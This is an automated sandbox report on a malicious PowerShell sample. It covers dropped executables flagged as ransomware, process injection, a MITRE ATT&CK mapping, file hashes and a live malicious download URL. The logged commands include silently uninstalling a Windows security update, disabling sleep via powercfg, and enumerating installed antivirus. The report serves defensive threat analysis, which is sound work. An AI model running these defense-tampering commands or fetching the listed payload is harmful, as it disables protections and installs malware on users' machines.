Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\LB311.exe "C:\Users\user\AppData\Roaming\LB311.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior

Source: C:\Windows\System32\dialer.exe

Code function: 28_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

28_2_0000000140001B54

Source: C:\Windows\System32\dialer.exe

Code function: 28_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

28_2_0000000140001B54

Source: C:\Windows\System32\winlogon.exe

Code function: 35_2_000002E9917336F0 cpuid

35_2_000002E9917336F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior

Source: C:\Windows\System32\dialer.exe

Code function: 28_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

28_2_0000000140001B54

Source: C:\Windows\System32\winlogon.exe

Code function: 35_2_000002E991757960 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

35_2_000002E991757960

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB311.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior

Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Windows Service	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	1 Access Token Manipulation	11 Obfuscated Files or Information	Security Account Manager	123 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	Login Hook	1 Windows Service	1 Software Packing	NTDS	551 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	712 Process Injection	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	11 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Rootkit	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	712 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Files and Directories	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
GO.png.ps1	18%	ReversingLabs	Script-BAT.Exploit.Minerva

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\LB311.exe	100%	Joe Sandbox ML
C:\ProgramData\Mig\Mig.exe	100%	Joe Sandbox ML
C:\ProgramData\Mig\Mig.exe	63%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Roaming\LB311.exe	63%	ReversingLabs	Win32.Ransomware.Generic

Source	Detection	Scanner	Label	Link
http://176.113.115.178	0%	Avira URL Cloud	safe
http://176.113.115.178/M.png	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://176.113.115.178/M.png	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000000.00000002.1889544505.0000023D2D035000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1889544505.0000023D2CEF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1821213500.0000023D1E894000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1600788987.0000021C18E13000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000003.00000002.1579286681.0000021C08FC8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000003.00000002.1579286681.0000021C08FC8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000003.00000002.1579286681.0000021C08FC8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000000.00000002.1821213500.0000023D1DAB3000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000003.00000002.1579286681.0000021C08FC8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000003.00000002.1600788987.0000021C18E13000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.1889544505.0000023D2D035000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1889544505.0000023D2CEF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1821213500.0000023D1E894000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1600788987.0000021C18E13000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000003.00000002.1600788987.0000021C18E13000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.mic	powershell.exe, 00000003.00000002.1606518311.0000021C213A9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000003.00000002.1600788987.0000021C18E13000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000000.00000002.1821213500.0000023D1CE81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1579286681.0000021C08DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.178	powershell.exe, 00000000.00000002.1821213500.0000023D1E88C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1821213500.0000023D1E7D8000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.1821213500.0000023D1CE81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1579286681.0000021C08DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000003.00000002.1579286681.0000021C08FC8000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
176.113.115.178	unknown	Russian Federation		49505	SELECTELRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577476
Start date and time:	2024-12-18 14:06:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	19
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	GO.png.ps1
Detection:	MAL
Classification:	mal100.spyw.evad.winPS1@58/76@0/1
EGA Information:	Successful, ratio: 60%
HCA Information:	Successful, ratio: 56% Number of executed functions: 54 Number of non-executed functions: 256
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 5328 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7156 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: GO.png.ps1

Simulations

Behavior and APIs

Time	Type	Description
08:07:20	API Interceptor	76x Sleep call for process: powershell.exe modified
08:07:52	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
08:08:23	API Interceptor	335479x Sleep call for process: winlogon.exe modified
08:08:24	API Interceptor	1886x Sleep call for process: dialer.exe modified
08:08:25	API Interceptor	269716x Sleep call for process: lsass.exe modified
08:08:25	API Interceptor	7355x Sleep call for process: svchost.exe modified
08:08:28	API Interceptor	301906x Sleep call for process: dwm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
176.113.115.178	file.exe	Get hash	malicious	Unknown	Browse	176.113.115.178/FF/M.png
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	176.113.115.178/M.png
	file.exe	Get hash	malicious	Unknown	Browse	176.113.115.178/FF/M.png

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SELECTELRU	file.exe	Get hash	malicious	Unknown	Browse	176.113.115.178
	InstallSetup.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	176.113.115.178
	rHrG691f7q.exe	Get hash	malicious	LummaC	Browse	176.113.115.19
	TN78WX7nJU.exe	Get hash	malicious	LummaC	Browse	176.113.115.19

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\LB311.exe	file.exe	Get hash	malicious	Unknown	Browse
	YSU1PShcKh.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
C:\ProgramData\Mig\Mig.exe	file.exe	Get hash	malicious	Unknown	Browse
	YSU1PShcKh.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Mig\Mig.exe

Download File

Process:	C:\Users\user\AppData\Roaming\LB311.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7679488
Entropy (8bit):	7.744308216067832
Encrypted:	false
SSDEEP:	196608:/UUPSHwaRhOgwVPj04wfOAlM69LJDuHF:dKHwgt+Pov7y
MD5:	C9E6AA21979D5FC710F1F2E8226D9DFE
SHA1:	D881F97A1FE03F43BED2A9609EAE65531CF710CF
SHA-256:	A1A8CFCC74F8F96FD09115189DEFE07AC6FC2E85A9FF3B3EC9C6F454AEDE1C1D
SHA-512:	9E90BCB64B0E1F03E05990CDEAD076B4C6E0B050932ECB953DAE50B7E92B823A80FC66D1FD8753591719E89B405757B2BF7518814BC6A19BB745124D1A691627
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: YSU1PShcKh.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...^n.e.........."..........xT...............@.....................................u...`...................................................U.......S.f... ..............."..............................`"..(................................................... . ..S.......R.................@....rsrc...f.....S.......R.............@....idata ......U.......S.............@... ..8...U.......S.............@...ndryujmp.p!..`...f!...S.............@...tnyudguu............*u.............@....pdata.I............,u.............@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	very short file (no magic)
Category:	modified
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
SHA-512:	B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
